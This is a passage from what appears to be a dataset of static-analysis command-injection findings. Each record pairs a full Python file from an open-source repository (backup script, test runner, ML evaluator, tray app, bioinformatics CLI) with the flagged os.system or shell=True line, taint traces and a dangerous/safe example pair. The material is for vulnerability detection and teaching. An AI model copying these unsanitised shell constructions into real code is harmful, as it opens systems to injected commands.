Postgre\n    elif server[\"type\"] == 'PostgreSQL':\n        # Sauvegarde des bases de données passées en paramètre\n        os.system(\"export PGPASSWORD=\" + server[\"password\"] + \" && pg_dump --user=\" + server[\"user\"] + \" --host=\" + server[\"ip\"] + \" --port=\" + server[\"port\"] + \" > \" + pipes.quote(BACKUP_PATH) + \"/\" + server[\"BDD\"] + \".sql\")\n        print(\"La sauvegarde de la base de donnée \" + server[\"BDD\"] + \" a bien été effectuée.\")\n        zf = zipfile.ZipFile (FILE_POSTGRE + server[\"BDD\"] + \".zip\", mode='w')\n        try:\n            print(\"Zipping \" + server[\"BDD\"])\n            zf.write(BACKUP_PATH + \"/\" + server[\"BDD\"] + \".sql\", basename(BACKUP_PATH + \"/\" + server[\"BDD\"] + \".sql\",))\n        finally:\n            zf.close()\n            print(\"Le fichier ZIP a bien été créé.\")\n        upload_file(FILE_POSTGRE + \"/\" + server[\"BDD\"] + \".zip\", BUCKET_S3, \"POSTGRE/\" + server[\"BDD\"] + \".zip\")\n\n    # Condition, boucler sur cette condition de connexion tant que c'est une BDD SQLite\n    elif server[\"type\"] == 'SQLite':\n        # Connexion au server pour sauvegarder la/les BDD\n        ssh_client=paramiko.SSHClient()\n        ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n        ssh_client.connect(server[\"ip\"], 22, server[\"user\"], server[\"password\"])\n        print(\"Connexion au serveur réussie, lancement de la sauvegarde des bases de données du serveur.\")\n        ssh_client.exec_command('sqlite3 bambou.db')\n        ssh_client.exec_command('.output /tmp/dump.sql')\n        ssh_client.exec_command('.dump')\n        ftp_client=ssh_client.open_sftp()\n        ftp_client.get(\"/tmp/dump.sql\", \"\" + BACKUP_PATH + \"/\" + server[\"BDD\"] + \".sql\")\n        ftp_client.close()\n        ssh_client.close()\n        print(\"La sauvegarde de la base de donnée \" + server[\"BDD\"] + \" a bien été effectuée.\")\n        zf = zipfile.ZipFile (FILE_SQLITE + server[\"BDD\"] + \".zip\", mode='w')\n        try:\n            print(\"Zipping \" + server[\"BDD\"])\n            zf.write(BACKUP_PATH + \"/\" + server[\"BDD\"] + \".sql\", basename(BACKUP_PATH + \"/\" + server[\"BDD\"] + \".sql\",))\n        finally:\n            zf.close()\n            print(\"Le fichier ZIP a bien été créé.\")\n        upload_file(FILE_SQLITE+ \"/\" + server[\"BDD\"] + \".zip\", BUCKET_S3 + \"\", \"SQLITE/\" + server[\"BDD\"] + \".zip\")\n\n    # Fin de la boucle\n    else:\n        print(\"Pus aucune base de donnée à sauvegarder.\")\n        break", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 64, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 65, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.load"}}, {"lineNo": 68, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "donneesdonnees[\"databases\"]"}}, {"lineNo": 68, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 68, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 68, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 71, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "72"}}, {"lineNo": 73, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "serverserver[\"password\"]"}}, {"lineNo": 73, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "serverserver[\"BDD\"]"}}, {"lineNo": 73, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
{"id": "48e382d70c399afd4dbc68f7e51633ebd03debbfff85aeda0195a603df834c2e", "license": {"spdx": ["MIT"], "repo": "despargy/Shade", "path": "Tests/tx_test/tx_test.py", "repo_head_hexsha": "8ed54c80154448c2cdc29623c2798a01d594995e", "stack_hexsha": "0198bc7d7e331f567c2abb9859a99cbac7c6a8f9", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 19, "entireCode": "from multiprocessing import Process\nimport time, os, threading\n\ndef start_tx(name):\n    os.system('python3 {name}'.format(name=name))\n\ndef kill_tx(name):\n    temp_filename = 'tmp_pid'\n    os.system('ps -ef | grep {name} > {temp_filename}'.format(name=name,temp_filename=temp_filename))\n    with open(temp_filename, 'r') as tmp:\n        lines = tmp.readlines()\n        for line in lines:\n            compoments = line.split()\n            curr_name = compoments[-1]\n            curr_command = compoments[-2]\n            \n            if curr_name == name and curr_command == 'python3':\n                pid = compoments[1]\n                os.system('kill -9 {pid}'.format(pid=pid))\n                os.system('rm -f {temp_filename}'.format(temp_filename=temp_filename))\n\nif __name__ == '__main__':\n    name = 'sdr_code.py'\n    threading.Thread(target=start_tx, args=(name,)).start()\n    time.sleep(3)\n    kill_tx(name)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 10, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 11, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "readlines"}}, {"lineNo": 12, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 12, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 13, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "split"}}, {"lineNo": 17, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "17"}}, {"lineNo": 18, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "compomentskill_tx.compoments[1]"}}, {"lineNo": 19, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 19, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
{"id": "3f9dcc7cd58a7ebcf6331dad08f2ffc1e975f8809121d13ec6ffd7f07dd4f018", "license": {"spdx": ["MIT"], "repo": "elbuco1/AttentionMechanismsTrajectoryPrediction", "path": "src/models/net_samples.py", "repo_head_hexsha": "653f3f4cea55e284a68c8ab01325d8e8307d4ae1", "stack_hexsha": "865693f8cf08f2874c24a42aad9bba96c5b2bdfe", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 102, "entireCode": "from models.rnn_mlp import RNN_MLP\nfrom models.social_attention import SocialAttention\nfrom models.cnn_mlp import CNN_MLP\nfrom models.spatial_attention import SpatialAttention\nfrom models.s2s_spatial_attention import S2sSpatialAtt\nfrom models.s2s_social_attention import S2sSocialAtt\n\n\n\n\n\nimport time\n\nimport json\nimport torch\nimport sys\nimport helpers.helpers_training as helpers\nimport helpers.helpers_evaluation as helpers_evaluation\nimport torch.nn as nn\nimport numpy as np\nimport os \n\ndef main():\n    device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")    \n    torch.manual_seed(42)\n   \n    #loading parameters\n    parameters_path = \"./src/parameters/project.json\"\n    parameters_project = json.load(open(parameters_path))  \n    data_processed_parameters = json.load(open(parameters_project[\"data_processed_parameters\"]))\n    evaluation_parameters = json.load(open(parameters_project[\"evaluation_parameters\"])) \n    processed_parameters = json.load(open(parameters_project[\"data_processed_parameters\"]))\n\n\n    # loading training data\n    data_file = parameters_project[\"hdf5_samples\"]\n\n    # scene lists for train, eval and test\n    eval_scenes = data_processed_parameters[\"eval_scenes\"]\n    train_eval_scenes = data_processed_parameters[\"train_scenes\"]\n    test_scenes = data_processed_parameters[\"test_scenes\"]\n    train_scenes = [scene for scene in train_eval_scenes if scene not in eval_scenes]   \n    scenes = [train_eval_scenes,train_scenes,test_scenes,eval_scenes]\n\n    report_name = evaluation_parameters[\"report_name\"]\n    model_name = evaluation_parameters[\"model_name\"]\n    models_path = parameters_project[\"models_evaluation\"] + \"{}.tar\".format(model_name)\n\n    print(\"loading trained model {}\".format(model_name))\n    net = None\n    if model_name == \"baseline\":\n        args_net = {\n            \"offsets\":0,\n            \"offsets_input\":0,\n            \"use_images\":0\n        }\n    else:\n        checkpoint = torch.load(models_path)\n        args_net = checkpoint[\"args\"]\n        model = args_net[\"model_name\"]  \n\n        net = None\n        if model == \"rnn_mlp\":\n            net = RNN_MLP(args_net)\n        elif model == \"cnn_mlp\":        \n            net = CNN_MLP(args_net)     \n        elif model == \"social_attention\":\n            net = SocialAttention(args_net)\n        elif model == \"spatial_attention\":\n            net = SpatialAttention(args_net)\n        elif model == \"s2s_social_attention\":\n            net = SocialAttention(args_net)\n        elif model == \"s2s_spatial_attention\":\n            net = S2sSpatialAtt(args_net)\n\n        # loading trained network\n        net.load_state_dict(checkpoint['state_dict'])\n        net = net.to(device)\n        net.eval()\n\n\n    scenes = test_scenes\n    set_type_test = evaluation_parameters[\"set_type_test\"]\n\n    if set_type_test == \"train\":\n        scenes = train_scenes\n    elif set_type_test == \"eval\":\n        scenes = eval_scenes\n    elif set_type_test == \"train_eval\":\n        scenes = train_eval_scenes\n\n    times = 0 # sum time for every prediction\n    nb_samples = 0 # number of predictions\n\n\n    dir_name = parameters_project[\"evaluation_reports\"] + \"{}/\".format(report_name)\n    sub_dir_name = parameters_project[\"evaluation_reports\"] + \"{}/scene_reports/\".format(report_name) \n\n    \n        \n    if os.path.exists(dir_name):\n        os.system(\"rm -r {}\".format(dir_name))\n    os.system(\"mkdir {}\".format(dir_name))\n    if os.path.exists(sub_dir_name):\n        os.system(\"rm -r {}\".format(sub_dir_name))\n    os.system(\"mkdir {}\".format(sub_dir_name))\n\n    s = time.time()\n    for z,scene in enumerate(scenes):\n\n        sample_id = 0\n        \n        print(scene)\n\n        scene_dict = {} # save every sample in the scene\n              \n        # get dataloader\n        data_loader = helpers_evaluation.get_data_loader(parameters_project,data_file,scene,args_net,processed_parameters,evaluation_parameters)\n        \n        sample_id = 0\n\n        \n        print(time.time()-s)\n        \n        for batch_idx, data in enumerate(data_loader):\n                \n            inputs, labels,types,points_mask, active_mask,imgs,target_last,input_last = data\n            inputs = inputs.to(device)\n            labels =  labels.to(device)\n            imgs = imgs.to(device)\n            b,n,_,_ = inputs.shape\n            if not args_net[\"offsets_input\"]:\n                input_last = np.zeros_like(inputs.cpu().numpy()) \n\n            \n            outputs = labels\n            if model_name != \"baseline\":\n                # active mask for training, along batch*numbr_agent axis\n                active_mask = active_mask.to(device)\n\n                points_mask = list(points_mask)\n                # if not args_net[\"offsets_input\"]:\n                #     input_last = np.zeros_like(inputs.cpu().numpy()) \n                \n\n                start = time.time()\n                if not args_net[\"use_neighbors\"]:\n                    outputs,inputs,types,active_mask,points_mask = helpers_evaluation.predict_naive(inputs,types,active_mask,points_mask,net,device,imgs)\n\n\n                else:\n\n                    if not args_net[\"joint_optimisation\"]:\n                        outputs,inputs,types,active_mask,points_mask = helpers_evaluation.predict_neighbors_disjoint(inputs,types,active_mask,points_mask,net,device)\n                    else:\n                        outputs = net((inputs,types,active_mask,points_mask,imgs))\n\n                end = time.time() - start \n                times += end\n            nb_samples += b*n\n\n            active_mask = helpers_evaluation.get_active_mask(points_mask[1])\n            points_mask = torch.FloatTensor(points_mask[1]).to(device)                    \n            outputs = torch.mul(points_mask,outputs)\n            labels = torch.mul(points_mask,labels) # bon endroit?\n            # active mask per sample in batch\n\n            if not args_net[\"offsets\"]:\n                target_last = np.zeros_like(labels.detach().cpu().numpy())\n            for i,l,o,t,p, a, il, tl  in zip(inputs, labels, outputs, types, points_mask,active_mask, input_last, target_last):\n\n                i = i[a].detach().cpu().numpy()\n                l = l[a].detach().cpu().numpy()\n                t = t[a]\n                p = p[a]\n                o = o[a].detach().cpu().numpy()\n                tl = tl[a]\n                il = il[a]\n\n                # revert offsets\n                i,l,o = helpers.offsets_to_trajectories( i,l,o,args_net[\"offsets\"],args_net[\"offsets_input\"],tl,il)\n                           \n\n                # apply active mask\n                scene_dict[sample_id] = {}\n                scene_dict[sample_id][\"inputs\"] = i.tolist()\n                scene_dict[sample_id][\"labels\"] = l.tolist()\n                scene_dict[sample_id][\"outputs\"] = o.tolist()\n                # scene_dict[sample_id][\"active_mask\"] = a.cpu().numpy().tolist()\n                scene_dict[sample_id][\"types\"] = t.tolist()\n                scene_dict[sample_id][\"points_mask\"] = p.cpu().numpy().tolist()\n\n                sample_id += 1\n        json.dump(scene_dict, open(sub_dir_name + \"{}_samples.json\".format(scene),\"w\"),indent= 0)\n    timer = {\n        \"total_time\":times,\n        \"nb_trajectories\":nb_samples,\n        \"time_per_trajectory\":times/nb_samples\n    }\n    # save the time\n    json.dump(timer, open(dir_name + \"time.json\",\"w\"),indent= 0)   \n    \n\nif __name__ == \"__main__\":\n    main()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.load"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "parameters_projectmain.parameters_project[\"evaluation_parameters\"]"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "open"}}, {"lineNo": 31, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.load"}}, {"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "evaluation_parametersmain.evaluation_parameters[\"report_name\"]"}}, {"lineNo": 96, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "parameters_projectmain.parameters_project[\"evaluation_reports\"]"}}, {"lineNo": 96, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 101, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "101"}}, {"lineNo": 102, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 102, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
{"id": "261a1599279becfb44efe7d92449e3d0a22fd4be2f210f39d9fd0a1dfd3ec02a", "license": {"spdx": ["MIT"], "repo": "rtxx/scripts", "path": "sunset/sunset-gui.py", "repo_head_hexsha": "924dda91cb8019b3c8ea298f8cf272fecaed7d2b", "stack_hexsha": "16ad065784022f37addc2deee241b1a33f8f472c", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 32, "entireCode": "#!/usr/bin/python\n# baby 1st python script\n# needs pip install pystray\n# needs pip install schedule\n\nimport os\nimport sys\nimport json\nimport schedule\nimport time\nfrom threading import Thread\nimport pystray\nfrom pystray import Icon as icon, Menu as menu, MenuItem as item\nfrom PIL import Image\n\nPROGDIR=os.path.dirname(os.path.realpath(__file__))\nPROGCONFIGDIR= PROGDIR + '/config'\nPROGCONFIGFILE= PROGCONFIGDIR + '/gui-config.json'\nPROGLOGFILE= PROGDIR + '/sunset.log'\n\ndef lightTheme():\n  # loads config.json into f\n  with open(PROGCONFIGFILE, 'r') as f:\n    configs = json.load(f)\n\n  # loads json values into vars\n  sunsetLocation = configs['sunsetLocation']\n  lightThemeName = configs['lightTheme']\n  lightThemeSetting = configs['lightThemeSetting']\n\n  # sends info to sunset\n  os.system(\"bash \"+ sunsetLocation + \" \" + lightThemeSetting  + \" \" + lightThemeName)\n\n  # closes config.json\n  f.close()\n\ndef darkTheme():\n  # loads config.json into f\n  with open(PROGCONFIGFILE, 'r') as f:\n    configs = json.load(f)\n\n  # loads json values into vars\n  sunsetLocation = configs['sunsetLocation']\n  darkThemeName = configs['darkTheme']\n  darkThemeSetting = configs['darkThemeSetting']\n\n  # sends info to sunset\n  os.system(\"bash \"+ sunsetLocation + \" \" + darkThemeSetting + \" \" + darkThemeName)\n\n  # closes config.json\n  f.close()\n\ndef editConfig():\n  os.system(\"kitty nano \" + PROGCONFIGFILE)\n\ndef openLog():\n  os.system(\"kitty nano \" + PROGLOGFILE)\n\ndef scheduleFunction():\n  while True:\n    schedule.run_pending()\n    time.sleep(1)\n\ndef iconTrayFunction():\n  icon.run()\n\ndef test():\n  now = datetime.now()\n  print(now)\n\ndef quit():\n  print('Quitting...')\n  # https://stackoverflow.com/a/1489838\n  # exit and kill all threads\n  os._exit(1)\n\nif __name__ == \"__main__\":\n\n  image = Image.open(PROGCONFIGDIR + \"/icon.png\")\n  menu = (item('Light theme', lightTheme),\n          item('Dark Theme', darkTheme),\n          item('More...', menu(\n            item('Edit config',editConfig),\n            item('Open log',openLog),\n            item('Exit',quit))))\n\n  icon = pystray.Icon(\"sunset\", image, \"sunset\", menu)\n\n  schedule.every().day.at(\"10:00\").do(lightTheme)\n  schedule.every().day.at(\"18:00\").do(darkTheme)\n\n  # creates threads\n  scheduleThread = Thread(target=scheduleFunction)\n  trayIconThread = Thread(target=iconTrayFunction)\n\n  # start threads\n  scheduleThread.start()\n  trayIconThread.start()\n\n  # wait for thread completion\n  scheduleThread.join()\n  trayIconThread.join()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9.     # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13.     os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 23, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.load"}}, {"lineNo": 24, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "configslightTheme.configs[\"sunsetLocation\"]"}}, {"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 28, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "configslightTheme.configs[\"lightTheme\"]"}}, {"lineNo": 28, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "configslightTheme.configs[\"lightThemeSetting\"]"}}, {"lineNo": 29, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 32, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
{"id": "853afea89656286e1bd1c541439f2338362c9f45ce198d2e2a3ac6c12874a89c", "license": {"spdx": ["MIT"], "repo": "hassanfa/BALSAMIC", "path": "BALSAMIC/commands/init/base.py", "repo_head_hexsha": "f21da145bd233a82f1100c97027e28cdf63498dd", "stack_hexsha": "7198dc884ecdd2d2f73ba2e960e3c2268c4b99a3", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 127, "entireCode": "import os\nimport re\nimport logging\nimport subprocess\nfrom pathlib import Path\n\nimport click\nimport graphviz\nimport snakemake\n\nfrom BALSAMIC.utils.constants import BIOINFO_TOOL_ENV, BALSAMIC_DOCKER_PATH, VALID_CONTAINER_CONDA_NAME\nfrom BALSAMIC.utils.cli import write_json, merge_json, CaptureStdout, get_snakefile, SnakeMake\nfrom BALSAMIC import __version__ as balsamic_version\n\nLOG = logging.getLogger(__name__)\n\n\n@click.command(\n    \"init\",\n    short_help=\"Download matching version for container and build reference\")\n@click.option(\"-o\",\n              \"--outdir\",\n              \"--out-dir\",\n              required=True,\n              help=(\"Output directory for ref files.\"\n                    \"This path will be used as base path for files\"))\n@click.option(\"-v\",\n              \"--container-version\",\n              show_default=True,\n              default=balsamic_version,\n              type=click.Choice([\"develop\", \"master\", balsamic_version]),\n              help=\"Container for BALSAMIC version to download\")\n@click.option('-f',\n              '--force',\n              show_default=True,\n              default=False,\n              is_flag=True,\n              help=\"Force re-downloading all containers\")\n@click.option(\"-c\",\n              \"--cosmic-key\",\n              required=True,\n              help=\"cosmic db authentication key\")\n@click.option(\"-s\",\n              \"--snakefile\",\n              default=get_snakefile('generate_ref'),\n              type=click.Path(),\n              show_default=True,\n              help=\"snakefile for reference generation\")\n@click.option(\"-d\",\n              \"--dagfile\",\n              default=\"generate_ref_worflow_graph\",\n              show_default=True,\n              help=\"DAG file for overview\")\n@click.option(\"-g\",\n              \"--genome-version\",\n              default=\"hg19\",\n              type=click.Choice([\"hg19\", \"hg38\"]),\n              help=(\"Genome version to prepare reference. Path to genome\"\n                    \"will be /genome_version\"))\n@click.option(\n    '-r',\n    '--run-analysis',\n    show_default=True,\n    default=False,\n    is_flag=True,\n    help=(\"By default balsamic run_analysis will run in dry run mode.\"\n          \"Raise this flag to make the actual analysis\"))\n@click.option(\n    '-f',\n    '--force-all',\n    show_default=True,\n    default=False,\n    is_flag=True,\n    help='Force run all analysis. This is same as snakemake --forceall')\n@click.option('--snakemake-opt',\n              multiple=True,\n              help='Pass these options directly to snakemake')\n@click.option('-q',\n              '--quiet',\n              default=False,\n              is_flag=True,\n              help=('Instruct snakemake to be quiet!'\n                    'No output will be printed'))\n@click.pass_context\ndef initialize(context, outdir, container_version, force, cosmic_key,\n               snakefile, dagfile, genome_version, run_analysis, force_all,\n               quiet, snakemake_opt):\n    \"\"\"\n    Initialize various resources after first installation.\n    - Pull container(s) for BALSAMIC according to matching version\n    - Download and build a reference \n    \"\"\"\n    LOG.info(\"BALSAMIC started with log level %s\" % context.obj['loglevel'])\n\n    # resolve outdir to absolute path\n    outdir = Path(outdir).resolve()\n\n    container_outdir = Path(outdir, balsamic_version, \"containers\")\n    pattern = re.compile(r\"^(\\d+\\.)?(\\d+\\.)?(\\*|\\d+)$\")\n    if pattern.findall(container_version):\n        docker_image_base_name = \"release_v{}\".format(container_version)\n    else:\n        docker_image_base_name = container_version\n\n    for image_suffix in VALID_CONTAINER_CONDA_NAME:\n\n        container_stub_url = \"{}:{}-{}\".format(\n            BALSAMIC_DOCKER_PATH, docker_image_base_name, image_suffix)\n\n        # Pull container\n        LOG.info(\"Singularity image source: {}\".format(container_stub_url))\n\n        # Set container name according to above docker image name\n        Path(container_outdir).mkdir(parents=True, exist_ok=True)\n        image_name = Path(container_outdir,\n                          \"{}.sif\".format(image_suffix)).as_posix()\n        LOG.info(\"Image will be downloaded to {}\".format(image_name))\n        LOG.info(\"Starting download. This process can take some time...\")\n\n        cmd = [\"singularity\", \"pull\", \"--name\", f\"{image_name}\"]\n        if force:\n            cmd.append(\"--force\")\n        cmd.append(container_stub_url)\n\n        LOG.info(\"The following command will run: {}\".format(\" \".join(cmd)))\n        if run_analysis:\n            subprocess.run(\" \".join(cmd), shell=True)\n\n    config_path = Path(__file__).parents[2] / \"config\"\n    config_path = config_path.absolute()\n\n    rule_directory = Path(__file__).parents[2]\n\n    config_dict = dict()\n    config_dict[\"bioinfo_tools\"] = BIOINFO_TOOL_ENV\n    config_dict[\"rule_directory\"] = rule_directory.as_posix() + \"/\"\n    config_dict[\"singularity\"] = dict()\n    config_dict[\"singularity\"][\"image\"] = container_outdir.as_posix()\n\n    reference_outdir = Path(outdir, balsamic_version, genome_version)\n    Path(reference_outdir).mkdir(parents=True, exist_ok=True)\n    config_json = Path(reference_outdir, \"config.json\").as_posix()\n    dagfile_path = Path(reference_outdir, dagfile).as_posix()\n\n    config_dict[\"output\"] = reference_outdir.as_posix()\n    if cosmic_key:\n        config_dict[\"cosmic_key\"] = cosmic_key\n\n    config_dict[\"genome_version\"] = genome_version\n\n    write_json(config_dict, config_json)\n    LOG.info('Reference generation workflow configured successfully - %s' %\n             config_json)\n\n    with CaptureStdout() as graph_dot:\n        snakemake.snakemake(snakefile=snakefile,\n                            dryrun=True,\n                            configfiles=[config_json],\n                            printrulegraph=True)\n\n    graph_title = \"_\".join(\n        ['BALSAMIC', balsamic_version, 'Generate reference'])\n    graph_dot = \"\".join(graph_dot).replace(\n        'snakemake_dag {',\n        'BALSAMIC { label=\"' + graph_title + '\";labelloc=\"t\";')\n    graph_obj = graphviz.Source(graph_dot,\n                                filename=dagfile_path,\n                                format=\"pdf\",\n                                engine=\"dot\")\n\n    try:\n        graph_pdf = graph_obj.render()\n        LOG.info('Reference workflow 